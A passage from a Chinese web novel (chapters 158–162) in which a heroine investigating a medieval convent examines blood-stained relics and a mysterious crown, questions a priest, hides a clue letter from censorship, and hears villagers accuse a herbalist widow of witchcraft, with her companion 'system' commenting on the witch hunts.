之芙若有所思地把这些东西复原,转而走向另一个展柜。另一个展柜里放着一块破烂的麻布,之芙拿出来, 展开, 惊讶地发现上面居然也有干涸的血迹。 【跟刚刚的血液不一样, 这是一个女人的……等等, 是很多女人的血。】 之芙看向手中的麻布,上面有许多斑驳干涸的血迹, 因为时间过去太久,已经变成黑褐色的了,如果不仔细看的话很容易误认为是普通的污渍。 很多女人的血……修道院到底为什么会有这种东西呢? 如果问艾弗神父的话, 他会告诉她吗? 之芙无意识地摩挲着麻布上的血迹,似乎从那些血迹上隐隐感受到了那些女人绝望而愤怒的情绪。不知为何,似乎是情绪引发的共鸣,她很想把这块沾着血迹的麻布带走,但担心被人发现,还是放回了展柜里。 最后一个展柜里放着一顶黑色王冠,精致而小巧,看起来应该是女款的王冠。 之芙举着烛台靠近,只见那小小的王冠上镶嵌着精致的血红色的宝石,看起来竟然像一双双灵动的眼睛,沉默地与一切注视着它的人对视,反射出昏黄的烛光。 【这是……】 【我查了这个世界观里的几任女皇与公主的王冠,没有一顶是跟这一顶相似的。】系统说,【在这里,所有的王冠都有王室出资委托工匠铸造,每一顶都记录在册,所以不可能有遗落在外的王冠。】 所以……这是一顶从没有出现过的王冠吗? 之芙摸了摸王冠上的血色宝石,正想要说点什么,系统忽然提醒:【她们的祷告结束了。】 之芙心里一惊,立刻吹灭蜡烛,也熄灭了自己手里的烛台,躲进了房间的角落里。 这里是杂物间,即使是圣物管理员的房间也在一楼,按理来说现在是深夜,做完祷告之后修女们就该回房间睡觉了,没有人会上二楼来看。 但是……之芙听到了一阵脚步声。很清晰,在寂静的夜里,那“咔哒”、“咔哒”的声音像是敲击在人的心上,而那脚步声越来越近了。 之芙立刻躲到了厚厚的绒布窗帘后面,遮住自己的身形,同时露出一双眼睛往外看去。 大门被推开了。 来人没有点蜡烛,借着惨白的月光,之芙勉强看清了她的身形轮廓,是一个瘦削的女人,长长的黑色修女服包裹着全身,脸被埋在了头巾的阴影里,看不分明。 但之芙的脑海中却突然出现了一双眼睛。 ——那双死气沉沉的眼睛,覆盖着一层灰白,眼睛里没有一丝光,看人的时候,总让人感到毛骨悚然。 是圣物保管员!她为什么会来这里?难道她已经暴露了? 之芙往窗帘的更深处躲去,视线的余光中只见圣物管理员扫视了一圈屋内,不动声色地走上前去,把放在展示台上的钥匙收进了口袋里。 做完这一切,她看也没有看那些圣物一眼,就转身离开了。 从始至终她都静悄悄的,没有点蜡烛更没有说话,仿佛她只是一个轻飘飘的鬼魂,来去无踪,不留下一点痕迹。 之芙却是一愣。她刚刚就是用展示台上的钥匙打开展示柜的,如果没有钥匙的话,她大概很难在不惊动其他人,不破坏展示柜的情况下看到里面的圣物。 她还以为这里跟修女们的房间一样,并不设防。 但……她为什么要把钥匙放在这里?是忘记了,遗漏在这里的,还是……故意留给之芙的?她为什么知道之芙今晚会来? 心里有太多的谜团挥之不去,之芙怀揣着烛台和心里的疑惑,回到了房间里。 在回去之前,她特意看了一眼。圣物保管员的房间在走廊的中间,和她的房间挨着一段距离,她不太可能特意去之芙的房间里看她在不在。 系统也说:【我们帮你监视了,你离开的这段时间没有人进出你的房间,而且整个修道院里也没有异动,修女们和艾弗神父都去祈祷了,特蕾莎被钟声吵醒过,但她很快又睡着了。】 之芙犹豫着说:【所以她是猜到了我会在今晚去圣物保管室,所以才故意给我留下钥匙的?】 【另一种可能是她把钥匙忘在了房间里,趁着其他人不注意,去偷偷拿回来。】 【……】之芙说,【我还是相信第一种吧。算了,不想了!她如果想做什么,总会露出马脚的。嗯……我还是希望她是个好人,会为我提供线索吧。】 之芙把被子拉过头顶,钻进了暖和的被窝里,一晚上的奔波惊吓让她很快就像一摊软乎乎的团子一样摊平陷入了鹅毛被子里,她蹭了蹭枕头,迷迷糊糊地对系统说:【记得提醒我……】 【提醒什么?】系统放轻了声音。 之芙已经陷入了半梦半醒之中,迷迷糊糊地挥舞着手臂:【提醒我……呼……别忘了给白飞烟写信……】 【放心吧。】系统轻松说,他透过屏幕看着之芙睡着后毫不设防的眉眼,低声道,【不过,你还没给我写过信呢。】 但是之芙已经听不见了,自然对某人满腔的醋意毫无所觉。 系统凝视着她的睡颜,半晌,轻轻地哼了一声。 第158章 《好消息:莉莉丝降临了!》 艾弗完全…… 吃早饭的时候, 之芙仔细地观察了一下圣物保管员,对方依旧穿着那身黑袍子,只坐在角落里安安静静地吃东西, 全程没有抬头也没有说过话,吃完饭后离开了。 她表情很冷淡的样子, 无论是饭前还是饭后, 周围也没有人跟她搭话,她明明穿着跟其他修女一模一样的衣服,却像一个飘荡在人群之中的鬼魂般, 如果不注意很容易忽视她, 但如果注意到她,就会觉得她……不知道该怎么形容, 之芙觉得她有点奇怪。 就仿佛她自己就自成一个小世界, 跟周围的其他人格格不入似的。 之芙留意了一下她, 吃完饭之后就准备去忏悔室找神父了。 谁知道她才走出饭堂没几步, 特蕾莎就提着裙摆, 气势汹汹地从她身后追了过来:“等等!你等等!” 之芙侧目。幸好此刻她们在寂静的小路上,修女们都已经离开了,不然她这样大声说话说不定会让修女们斥责。 “怎么了?”她问。 “我还没问你呢!”特蕾莎大喝一声, 漂亮的脸上满是怒火, “你骗我!你知道我是谁吗就敢骗我?” 之芙:? 这下之芙是真的摸不着头脑了, 她今天一天都没跟特蕾莎说过话, 能骗她什么? 看到之芙迷茫的表情,特蕾莎猛地跺脚:“还装傻!你说的, 那个什么什么,原野上的甜点!” 之芙有点印象。 特蕾莎又怒气冲天地说:“你说什么把什么什么萝卜燕麦丢进锅里,煮出来的东西很好吃, 比宫廷甜点还好吃,结果呢!” “我试过了,根本不好吃!”特蕾莎的脸涨得通红,如果不是头巾包着,之芙感觉她的头发都要竖起来了,“你骗我!” 之芙:“……” 这姑娘难道还真的去找来吃了吗?她也太……太相信她了。看着是个挺不好惹的贵族小姐,结果这么天真。不知为何,看到她这样气冲冲又认真的样子,让之芙觉得有点好笑。 但之芙只是露出了一点点笑意,特蕾莎又怒发冲冠了:“你还敢笑!我可是侯爵夫人的女儿,我会告诉我妈妈!” 这跟小孩子有什么区别,之芙更想笑了。但为了特蕾莎别再生气,她赶紧做出一副诚惶诚恐的样子,说:“我没骗你。” “还骗我!你是觉得我有那么好骗吗!” 之芙说:“不是你想的那样,小姐。我只是一个乡下来的女工,比较习惯吃乡下的食物。而且,我也没有说这个好吃,我的意思是,如果您尝试一下我们的食物的话,就会觉得您的甜品真是世界上最美味的东西。” 特蕾莎一脸怀疑地盯着她。 之芙又诚恳地说:“您知道的,现在这个时代,平民怎么可能跟贵族过一样的生活呢?” “……”特蕾莎默了默,不知道是被她诚恳的表情打动了,还是被她的话说服了。 之芙又说:“您不必对我生气,向上帝发誓,我真的很喜欢您。” “……”这次特蕾莎挑了挑眉,“你,喜欢我?” “是的。”之芙说,她很诚恳,“您开朗又热情,虽然有时候有些嘴毒,但我知道您没有什么坏心眼,我很喜欢您这样的女孩子。” 特蕾莎一副“勉为其难相信你”的表情,脸却已经红了。 之芙又说:“特蕾莎小姐,您不觉得这个修道院有点奇怪吗?” “哪里奇怪?”特蕾莎反问。 “嗯……我也说不上来,只是一种感觉罢了。我的意思是,在这里如果我遇到什么事情,可以找您吗?” “当然。毕竟你没有来过修道院吧?这可是我家资助的修道院。有什么事,你直接找我就行了。” 看特蕾莎的得意洋洋的表情,之芙觉得她大概误会了她的话。特蕾莎大概只是以为之芙眯一会来过这种地方,有点害怕,所以依赖她罢了。 之芙笑了笑,也不反驳她:“如果您遇到什么奇怪的事情,也跟我说好吗?” “当然。”特蕾莎的表情却像是完全没有放在心上。 没关系,之芙也不指望她现在就明白自己的话,只要她知道,遇到奇怪的事情是可以找她的,就好了。 …… 被特蕾莎拦在祈祷室外耽搁了一段时间,之芙推开祈祷室的门的时候,艾弗神父看起来已经等了很久了。 他没有站在祈祷室里面,而是一反常态地坐在教堂的椅子上,双手随意地搭在膝盖上,姿态闲适放松,望着远方,双眼没有焦虑,像是陷入了深思。 “艾弗神父?”之芙打了一声招呼。 “嗯。”艾弗回过神,微笑着看向她,示意,“坐这里吧。别紧张,只是想跟你聊聊天。” “您想跟我聊什么呢?”之芙直接了当地问。 “呃……”艾弗显然也有点愣住了,他顿了顿,决定从细节处入手,柔和地询问:“伯爵夫人在之前告知我,您家境贫寒,家里还有两个弟弟妹妹,您养家一定很辛苦吧?” “还好。”之芙笑了笑,“弟弟妹妹很乖,而且我力气很大,这世道,能靠自己的手挣钱养家已经很幸运了,不算辛苦。” “说起来,我更好奇一件事。”之芙反客为主。“艾弗教父,您说您也出身贫民窟,您在修道院里做教士,常年在这里居住和生活,您家里人会来看望您吗?” 艾弗顿了顿:“我已经没有家人了,他们都去世了。” “啊……抱歉。” “没什么。”艾弗笑了笑说,“我们会在天堂再次相遇的。” 之芙不等他反应过来,又追问:“艾弗神父,您在修道院里呆了很久吗?” “是的,我在这里工作了大约七八年了。” “那您一定很熟悉修道院的一草一木吧。”之芙微笑,“我有一件事想向您请教。昨天我在圣物保管室里看到了一块麻布,上面乌黑的污渍我看不太清晰,那是血吗?” “是的。”艾弗完全没有套话不成反被套的意识,笃定地说。 之芙眉头一跳:“那是谁的血?” 难道艾弗真的知道点什么? 第159章 《好消息:莉莉丝降临了!》 “之芙小…… 难道艾弗真的知道点什么?之芙隐隐含着期待和凝重看向他。 谁知艾弗顿了顿, 却是用一种无比虔诚而光荣的表情说:“那是耶稣的血。” “那是……啊?”认真听答案的之芙傻眼了。 艾弗说:“那是无上的主受难时所留下的圣物,是主存在过的证据。” 之芙:“……” 可是系统说,那块布上的血是来自女性。而且是来自很多个不同的女性。 之芙的表情变得微妙了起来, 这个时代把女人视为洪水猛兽,不由分说地把她们污蔑成女巫, 说她们“天生就更容易被恶魔蛊惑”, 可是,他们却也愚昧地将女人的血供奉多年,视为圣物。 她不知道该怎么解释, 于是没有反驳艾弗。而是问:“艾弗神父, 您来到修道院的时候,那块麻布就放在那里了吗?” “并不是。”艾弗说, “我来到这里的时候, 这座修道院还很冷清贫穷, 那时候我和修女们都要没日没夜地做活养活修道院的大家, 没有什么圣物可保管, 当然也没有圣物保管室。 是后来侯爵夫人慷慨解囊,给修道院捐赠了不少财物,还给修道院修建了许多建筑, 譬如修女们的房间、图书馆和圣物保管室, 都是她修建的。 她捐赠了一顶王冠, 那是侯爵大人曾在女王处获得的赏赐。” 说得应该就是圣物保管室里那顶奇怪的王冠了。但系统说过, 这顶王冠不是王室铸造的,系统的资料是不可能出错的, 所以…… 是侯爵夫人骗了艾弗。 她为什么要骗艾弗?那顶王冠是什么来头?她为修道院捐赠,是不是并没有那么简单的目的,而是为了把王冠捐赠给修道院? 之芙想到了那顶诡异的黑色王冠上密密麻麻镶嵌满的, 像是恶魔眼睛一样的血红色宝石。 那不像是圣物,反而更像是……属于恶魔的东西。 “至于你说的那个麻布……”艾弗不知道她在想什么,不紧不慢地说了下去,“那是伯爵大人捐赠的。伯爵大人也是一位虔诚的信徒,他和他的夫人每天都在祈祷上帝能治愈子爵大人的腿。” “可怜天下父母心。”之芙笑了笑说,“我也希望子爵大人的腿能快点好起来。” 在心里,之芙却悄悄地记下了这一条线索。如果那块麻布是伯爵捐赠的……上面的血肯定跟伯爵脱不了干系,他很可能知道那上面的血并不是什么“受难耶稣的血”,甚至那些可怜的女孩都有可能是被他杀害的。 这是一条重要的线索,伯爵绝对没有看上去那样清白,她得想办法赶紧告诉白飞烟。 艾弗却顿了顿。他想了想,问:“我可以冒昧地好奇一下,您和子爵大人是怎么认识的吗?” “其实很俗套。”之芙也笑,“那时正是盛夏,子爵大人来到庄园里避暑,我恰好为庄园工作。” “您美丽又善良,一定有什么过人之处。”艾弗诚恳地说,他专注地看着之芙,清澈的瞳孔里倒映出两个小小的她,“庄园里有很多人,但子爵大人只对您一见钟情。虽然跟您相处的时间很短,但我能感受到您似乎跟其他人不一样。” “说来有点不好意思,因为我在庄园里没什么朋友——您知道的,工作很忙。我们没时间交朋友。所以,平常没有人的时候,我就会跟奶牛说说话。 那天我照常一边挤奶,一边跟奶牛说话,还唱了歌,最后我提着奶桶走出牛棚,却发现子爵大人站在外面。后来他说他在那里站了很久,几乎每一天他都会偷偷过去,听我说一整天的话。 他说,只要我絮絮叨叨地说话的时候,世界上所有的烦恼都会散去。 很巧,对吧?如果不是机缘巧合,我可能这辈子都见不到子爵大人这样的大人物,可能这就是命中注定吧。” 才怪。之芙一边说着系统给她的背景,一边心想,她是故意的。她在听说子爵要来庄园避暑后,就买通了庄园里的女仆,故意在那个什么子爵面前露面,用甜言蜜语把他哄得头晕,还在心里想,什么子爵什么贵族什么大人物,还不是被她骗得团团转,看来这些大人物,也没有别人嘴里那么高尚。 只是她失算了,她只是想要和某位大人物来一场短暂的夏日恋情,完全没有想到子爵会对她那么上心,甚至真的打算娶她。 比起成为子爵夫人,她还是更想拿到足够挥霍一生的钱,然后借着子爵情人这个头衔当个自由的寡妇。 “是的。”艾弗礼貌而客套地笑了一下,但之芙敏锐地察觉到他的心情似乎并没有表现出来的那样好,“很幸运。” “是吧,我也觉得自己幸运。”之芙说。 但艾弗顿了顿,淡淡地说:“我倒是觉得,是子爵大人比较幸运。” 之芙:“……”这熟悉的味道。是她认识的人吗?有工作人员在这局游戏里当NPC吗? 之芙想了想:“艾弗神父,我还有一个问题。” “您说。” “我昨天去圣物管理室的时候见到了管理员。她也在修道院里工作了很久吗?” “她已经在修道院里待了二十多年了,是个值得尊敬的前辈。”艾弗说,“她是修道院里最年长的女士,见证了这座修道院从无到有的过程,这里曾经只是一群不想结婚的女士聚集在一起,成立的一个小小的修道院,当时的人大部分都已经离开了,只有她还活着。 修道院现在变成这个样子,也算是苦尽甘来,能让她安养晚年。” 哦……之芙点点头。所以,管理员应该知道很多事吧,很多连艾弗神父都不知道的事情。 就是不知道,管理员对她到底是什么态度了。是想要提醒她什么吗?但为什么不直接说? 艾弗忽然转移话题,问:“我也有一个问题。” “什么?” 他笑了笑:“之芙小姐,您还认识除了您之外,其他叫作之芙的人吗?” 第160章 《好消息:莉莉丝降临了!》 您放心,…… 果然来了。之芙心想, 昨晚梦里的事情,艾弗是绝对不会忘记,也不会被她岔开话题的。 “跟我的名字一样的人吗?您知道的, 我认识的人很少,都是庄园里的农户, 除了我之外, 没有人叫之芙。”之芙装傻,“艾弗神父,您问这个做什么?” “你说你有弟弟和妹妹, 他们叫什么?”艾弗问。在这个时代, 给孩子取和长辈或是好友一模一样的名还是很常见的,一般是为了表达纪念或是亲近喜爱, 亲近的家人也会共用同一个名字。 之芙摇了摇头:“我的妹妹叫耶利米, 弟弟叫海登。我的身边也没有跟我同名的人。” 艾弗的表情看起来有些失望, 他顿了顿又问:“那你有见过跟你长得像的人吗?” 之芙笑了一下:“神父问这个问题真奇怪, 我又没有双胞姐妹, 怎么会有人跟我长得像?即使是我妹妹当然也跟我长得不太一样。” 艾弗点点头,虽然表情不变,但眼神看着却有些失望的样子。 “神父叫我来这里, 是还有什么要问的吗?” 艾弗顿了顿说:“你说你昨天晚上做了个梦, 你还记得自己做的梦是什么样子的吗?” 之芙佯装思考了一会儿:“我不太记得了。” 艾弗定定地看着她, 似乎在打量她是不是在撒谎。过了好一会儿, 他才说:“很巧,我昨天也做了一个梦。” “是什么?”之芙问。艾弗不会就要把梦里的事情全部告诉她了吧?这么天真的吗? 但艾弗只是温和地笑了笑:“更巧的是, 我也已经不记了。之芙小姐,我的意思是,如果您之后再梦到什么, 一定要第一时间告诉我好吗?我们可以交换彼此的梦。” 之芙点头答应下来。她当然知道艾弗会梦到什么,只是她也好奇艾弗会不会向这次一样隐瞒她。 要交换梦境的话……如果艾弗说谎,她当然也不会说真话。 他们就这样彼此欺骗下去,各怀鬼胎地互相套话,好像也不错。 呆到了下午,到了祷告的时间,之芙向艾弗告别,临走前,她看到艾弗胸前常挂着的那条银色十字架不见了,取而代之的是一条长长的黑色绳子,而在黑色绳子的尽头,挂着一根羽毛。 那根羽毛就是之芙在梦中给他的东西,被他用绳子在羽尾上打了一个轻巧而结实的绳结,坠在胸前,随着他的动作,在风中轻轻地摇晃。 修道院的作息非常规律,修女们每天的工作就是祈祷、劳作、休息、再祈祷,无数次的轮回,几乎不会出现什么新鲜的事情。 晚上,之芙跟着修女们祈祷过后,再一次回到了自己的房间。她问修女们要来了纸笔和信封,准备给白飞烟写信。 虽然这只是她来到修道院的第二个晚上,但她已经搜集了不少有用的线索,奇怪的圣物保管员以及那些奇怪的“圣物”,侯爵夫人和伯爵的奇怪举动,以及特蕾莎和艾弗神父的态度。 她把线索一条条理顺,然后把自己所知道的事情写在信里。 来这里已经两天了,但之芙还没有遇到危险或疑似危险的事情,可以想见,伯爵的府邸一定比修道院更加暗潮涌动,危机四伏。 但之芙并不特别担心,她相信剩下的交给白飞烟就好,毕竟和经验丰富,多次从副本里死里逃生的白飞烟相比,她也只能算新手。 写完信,之芙拿出从特蕾莎那边借来的火漆蜡和印章,小心翼翼地在信封上盖了个火漆章。 这样,就能保证没有人能看到这封信里的内容了。也是因为有这个东西,之芙才放心大胆地把所有的线索都写了进去。 她把火漆蜡吹干,照例跪在床边祈祷了一会儿,翻开记录本,随便写了几句祷告。 做完这一切,她伸了个懒腰,钻进温暖柔软的床铺里,叮嘱系统今晚不要叫醒她。 昨天晚上忙碌了一晚上,能探索的地方都已经看过,也是时候休息一下了。 至于圣物保管员和艾弗神父那边……敌不动我不动,之芙现在对他们几乎一无所知,盲目探索没有用,不如等他们先露出马脚。 之芙把自己埋进柔软的枕头里,跟系统说晚安。 【嗯。晚安。】 系统的声音听起来低低的,他在查看之芙的信里还没有遗漏的部分——在之芙写的时候他就记录了下来,自然不用再把信拆开。 之芙想说不用那么麻烦,她觉得自己写得没有遗漏,就算有遗漏的部分,相信白飞烟自己也能体会她的意思的。 但她还没说出来,昨天一夜都没有睡好,虽然今天找空补了些觉,但她也很累了。几乎是一沾枕头,她就睡了过去。 在修道院里,每天晚上会有两次敲钟,提醒修女们去做祷告,一次是凌晨两点,一次是凌晨五点,之芙还以为自己会被不断响起的钟声吵得睡不好觉,但在睡梦中,当她听到钟声,不安稳地翻了个身时,就感觉到自己耳边的一切声音和动静,就像是被蒙上了一层布似的,变得模糊不清。 系统低低的声音在她脑海中响起:【睡吧,我会看着,这里很安全。】 之芙才清醒了一会儿,就又在系统低沉的声音中陷入了昏睡。 …… 第二天起床时之芙查看了系统的检测,她足足睡了十个小时!起床时她神清气爽,就连那身灰扑扑、死气沉沉的修女服都变得顺眼了不少。 她哼着歌穿好修女服,去饭堂和修女们一起吃了早饭。在早饭时她看到了那位圣物管理员,她看起来不像昨天那样两耳不闻窗外事了,反而在吃饭的时候主动看了她一会儿,才移开自己的视线。 之芙才不管她怎么想,她要是能自己想通来告诉她线索是最好的,要是不行,就等几天在看。 现在更重要的是把信寄给白飞烟。 吃完饭,她就拿着信去找艾弗了——修道院里的修女们很少出门,但许多人都会写信给家人,艾弗会在外出做弥撒的时候兼职信使,帮她们把信送到。 相比起她的神清气爽,艾弗看起来就有些憔悴了。他眼睛底下有一层淡淡的青色,似乎一整晚都没有睡好似的。 之芙当然知道他为什么没有睡好——因为她昨晚没有去艾弗的梦里。 想必他昨晚,一定在辗转反侧地思考为什么天使小姐不肯再进入他的梦里吧。 之芙把信交给他,艾弗看起来也没有心思多说什么,他朝她点点头,说:“之芙小姐,这封信我们会检查后再送出。” “……什么?” 艾弗冲她温和地笑了一下:“您放心,我会保密的。这只是修道院的规矩,并不是刻意针对您,特蕾莎小姐的信也是检查过才发出去的。” 说着,他就要将火漆揭开。 160-170 第161章 《好消息:莉莉丝降临了!》 《女巫之…… “等等!”之芙眼疾手快地拦住他, “神父,等等,呃……” 她一把夺过艾弗手里的信, 紧紧捏着,艾弗猝不及防被强抢, 还维持着那个空手拿信的动作, 惊愕地看着她。 之芙:“………” “呃,这个……艾弗神父,等我重新写一封给你!我刚刚想到……里面有一些不太方便的话。” 艾弗顿了顿, 有些茫然地收回手:“不用担心, 我会保密的,小姐。” 之芙“呃”了一声, 在脑海中疯狂搜索借口, 但实在没有什么合适的借口, 她的大脑都快宕机了。 艾弗又善解人意地说:“您放心, 修道院里的修女们每周都会给家里写信, 都是由我检查和帮忙送达的。祈祷室里也常有辛秘,但保持沉默是修士的职责。” ……也不是那个原因。之芙没法跟他解释自己写了什么,难道要跟他说你的修道院里有鬼, 我在调查这件事?艾弗肯定以为她疯了。 之芙捏着信, 眼一闭心一横准备把这件事栽赃给白飞烟:“就……里面写了我对子爵大人想说的话, 实在不好给您看!我这就去重新写一遍!” 说完, 她不等艾弗反应,拿着信就往外跑, 跑了几步,她才发现—— 身后站在一个人。是特蕾莎。 她站在她的身后,不知道听了多久。她手里也拿着一封信, 看起来也像是要拜托艾弗送信,看之芙跟艾弗拉拉扯扯的样子她翻了个不太淑女的白眼,走上前,把自己手里的信塞给艾弗。 “拜托您了,艾弗神父。”她撩了撩长长的卷发,状似漫不经心实则非常刻意看向之芙,“我跟有些人不一样,我可不怕人看。” 之芙:“……” 特蕾莎“呵呵”地笑了一声,语气别扭:“也不知道信里写了多肉麻的爱语呢,自然是不好意思给人看的。艾弗神父,还是别为难一个脸皮薄的小女孩了。” 之芙再次:“……”这姑娘又是什么语气?她琢磨了一下,怎么这么酸溜溜呢。 艾弗也愣了一下,像是才反应过来。他顿了顿,接过了特蕾莎手里的信,和她一起看向之芙,表情欲言又止。 过了一会儿,他才挤出一个微笑:“嗯……我想这也没有关系。毕竟你们是未婚夫妻。” 只是那笑容,怎么看怎么虚假。之芙不太确定他是不是把自己跟梦里的“天使小姐”之芙弄混了,因为他的表情明明写着“天使怎么能被玷污”的心碎和嫉妒。 之芙干笑了一声,坚决把锅推给白飞烟:“我还是再去写一封好了,明天再给您,神父!” 她顶着身后两人炽热的目光,飞一般地逃走了。 …… 之芙抱着自己的信回到了房间里,点燃蜡烛,把信封烧掉了。 她蹲在床边看着字迹变成灰烬,有点发愁:【没人说进出的信还要检查啊。】 这下怎么办?递消息变得麻烦了…… 把灰烬也处理干净之后,之芙坐回了书桌前。 怎么才能瞒过艾弗,又能给白飞烟递消息呢?暗号?她和白飞烟没有约定过。莫斯密码什么的可行吗?藏头? 之芙抓抓脑袋,思考了半天之后,毅然决然地丢下了笔。 算了!想不通的事情,就留到之后再想吧。之芙把笔一扔就跑去找修女们了。 今早在饭堂的时候,修女们就告诉她,今天她们要去镇里熬粥布施,刚好今天艾弗神父也要去镇里主持婚礼,她没有安排,就让她跟她们一起去熬粥。 之芙答应了下来,她还没有看过这个世界是什么样子的——一醒来她就在伯爵的庄园里了,后来又直接来了修道院,还没有离开过这些庭院,看看这个世界里的人是怎么生活的。 她和修女们在修道院门口等牛车时,特蕾莎姗姗来迟地从房间里出来了。 不少修女都有些好奇地悄悄打量着她,没想到大小姐也毫不避忌地跟她们一起坐牛车。 特蕾莎倒是没在意那些修女的眼神——也不知道是不在乎还是没看到,她一来就直接站到了之芙的身边,挑着眉打量她,但也不说话,等着之芙先开口。 像是一只跟着人走来走去,却不愿意开口“喵”一声或是主动蹭人的猫,等着人主动抱她,才肯勉为其难地理会一下愚蠢的人类。 之芙就是那个愚蠢的人类:“特蕾莎,你也要去吗?” “当然。”特蕾莎说,“我也是修道院的人,为什么不劳动?对了,待会儿我要跟你坐一起。” 她说话的时候也昂着头,像一只骄傲的小公鸡。 之芙明知故问:“为什么要跟我坐在一起?你不是不喜欢我吗?” “……”特蕾莎的脑袋抬得更高了,几乎是在用鼻孔看她,像是一只被踩到尾巴的炸毛的猫,“我想跟谁坐就跟谁坐,没有理由!再说了……” “再说什么?”她的声音越来越小,之芙没有听清楚后面的话。 特蕾莎嘀咕:“再说了,不是你自己的说的吗?你说,‘我们是一起来这个修道院的,就应该一起’。” 之芙眨了眨眼。她还以为特蕾莎不会把这句话放在心上呢,但她居然真的记住了。 看着气鼓鼓的特蕾莎,之芙不逗她了:“嗯,是我说的,也是我想跟你坐在一起。” “……这还差不多。”特蕾莎哼哼。 她们乘坐牛车进了镇上,之芙察觉到特蕾莎的表情有些奇怪——不是大小姐第一次做牛车的嫌弃,而是一种别扭的欲言又止。 好几次特蕾莎看着她发呆,偶尔嘴唇翕动,像是想说什么,但在之芙看过来的时候,又扭过头去,故意不看她。 看起来特蕾莎像是有什么话要说才要坐在她身边的,但真看到之芙了,她却犹豫或纠结了。好在现在之芙对和特蕾莎相处这件事已经很有经验了,她也故意装作没有发现的样子,等着特蕾莎先沉不住气来找她。 修女们所说的熬粥和之芙之前跟特蕾莎说的一样,就是在镇上的广场上支起几口大锅,往里面放进水和各种农作物,熬成一碗稀稀的粥,如果路过的人家有余粮、发善心,也可以往锅里丢食物,权当是捐赠了。 之芙看了一眼她们丢进去的食物,有燕麦、白米、土豆和胡萝卜,这些东西很顶饱,但这样一锅炖就不要思考它到底是什么味道了——特别是在过路的人也纷纷慷慨解囊把家里的食物丢进去之后。 在这个时代,肉类都被贵族掌握着,平民是没有办法吃到肉的,所以里面的东西也都是些野菜和农作物,特蕾莎被分配到的工作是拿着巨大的勺子不断搅锅,防止食物糊掉。 和平民家的煮饭方法一样,这些锅要在这里煮一个星期的食物,在这期间即使修女离开,火也不会断,人们随时可以过来领取食物和往锅里添东西。 之芙站在特蕾莎身边,看到有人过来,就拿起勺子给人盛上一碗。 修女们不是第一次来布施,所以这里的人倒也不奇怪,井然有序地排着队等待修女们盛粥,每个人都自己带着碗,拿到了属于自己的份,就三三两两地蹲在一边,一边吃饭一边小声地聊天。 之芙留意了一耳朵,这里的人都是附近村庄的农户,大部分人都穿着破旧的麻衣,谈论的话题也是田里的庄稼和家里的畜生,没什么线索。 言语间,他们谈到了艾弗神父今天主持的那场婚礼。 “诶,你知道吗?那个新娘是从本森来的!” “本森?嚯!那可了不得。” 本森是附近的一座大城市,据说那里比这个小镇子繁华得多,镇上很多人都对本森向往非常,渴望有一天离开贫穷的家乡去大城市闯荡。 如此说来,那位新娘也算是远嫁了。这在这个时代也算是件新奇事,一时很多人都感兴趣,围拢上去让那个人多说一些。 那人倒也爽快,把自己知道的事情全说了,大概的故事就是城里姑娘对乡下青年一见钟情,嫁到了这个小村子里——是个痴情的姑娘。 “你们不知道,那婚礼有多气派!新娘带来了好多东西分给花童,我看那姑娘细皮嫩肉的,带着的东西都是我见都没见过的!” “哦对,新娘还写诗呢!我看她是个读书的姑娘,带了好多书来。嗯,有一本最新的,叫什么来着?” 之芙搅拌的动作一顿。她心里忽然涌起了一股不好的预感。 果然,那人紧接着说:“《女巫之锤》!是这个名字吧?这可是大法官最新出的书……” 第162章 《好消息:莉莉丝降临了!》 “我看你…… “大法官?他讲了什么?”果然, 一听这话,所有人都抬起头来,想看看这位法官大人有何高见。 开头说话的人有些得意, 即使刻意压低声音也能让周围一圈人听到:“前段时间咱们村子不是癔症吗,他们说是有人被魔鬼诱惑了, 但是谁是魔鬼呢?大法官这本书, 就是教我们怎么分辨魔鬼的!” 围着的人群一阵骚乱。所有人都用好奇和恐惧的目光看向说话的那个人,如同迷路的羊群翘首以盼着牧羊人的出现。 那人又得意洋洋的笑着,卖了个关子:“我看了那本书, 你们猜怎么样——我觉得, 多莉就是那个女巫!” 人群一片哗然。“怎么可能!”“不要乱说话!”“就是就是,你有证据吗!” 那人压着嘴角一丝不怀好意的笑, 语气却很坦然, 像是真的在说什么真理似的:“怎么不可能, 那本书上说了, 只有被魔鬼蛊惑的人才会跟动物说话, 多莉不是经常跟她的狗说话吗?她把她的狗照顾得这么好,那条狗肯定是魔鬼变的!” 之芙注意到,站在自己身边搅拌大锅里的粥的修女忽然看了他一眼。 她动了动唇, 像是想说什么, 但四周的人已经聚集在一起, 开始讨论男人所说的事情了。 “……也对, 我也觉得奇怪。”“好像有点道理。”“就是,你们看她一个人住, 脾气又那么不好,谁会对一只狗那么上心?看两天家等老了就杀掉吃肉的玩意。” 男人洋洋得意地说:“我前几天跟她开玩笑,说等她家狗老了卖给我吃肉, 反正她一个人也吃不完。结果你们猜她说什么?她发了好大的火,说她的狗肯定活得比我长!那只狗肯定是恶魔!” 修女像是想反驳男人,但在人群声势浩大的商讨声里,她最终低下头去,只愤愤不平地用力搅拌锅里的粥。 之芙把一碗粥舀好递给身前的人,乘着没人排队的空隙,她往修女的方向走了几步,低声问:“多莉是谁?” “……”修女表情复杂地看了她一眼,大约是想起来她也是从繁华的城市来的人,于是问之芙,“他们说的是真的吗?” “假的。”之芙干脆利落地回答,不等她追问又问了一遍,“多莉是谁?” “……她是村里的寡妇。”修女说着,又低下头搅拌大锅里的食物,“她父母早逝,丈夫死在战争里,家里只有她一个人,没有别人。那你别听他们说什么恶魔什么的……那个男的,他嫉妒多莉很久了。” “嫉妒?”之芙问,“多莉是独身一人的寡妇,他嫉妒什么?” “多莉有钱。她没有孩子,丈夫有一大笔抚恤金,而且她还懂草药,知道用什么野草可以救什么人。很多人想要她的书——她写过一本书,在那本书上记录了草药的功效,还有她治病救人的经验。村里很多人嫉妒她,想跟她学习,但她不愿意。她本来就独身一个人,如果不是她懂草药,没有人会把她当一回事。 村子里的寡妇,是守不住田地和房子的。如果不像多莉一样有本事傍身,大多数都会被抢走财产,还会被迫嫁人。” 系统忽然在脑海里对之芙说:【离那个多莉远一点。】 【为什么?】 【其实很多人污蔑和举报‘女巫’,只是想要强占她们的钱和田地。】系统解释说,【这个多莉是典型的‘女巫’。中世纪时期战乱不断,女人大多负责救治和包扎等后勤医疗,所以战争结束后,这些懂医术的女人的威望和地位就会越来越高,男人对这些女人医生产生不满,就诬陷她们是巫女,医术和草药都是魔鬼的法术,好在她们死后强占她们的财物。】 【……】 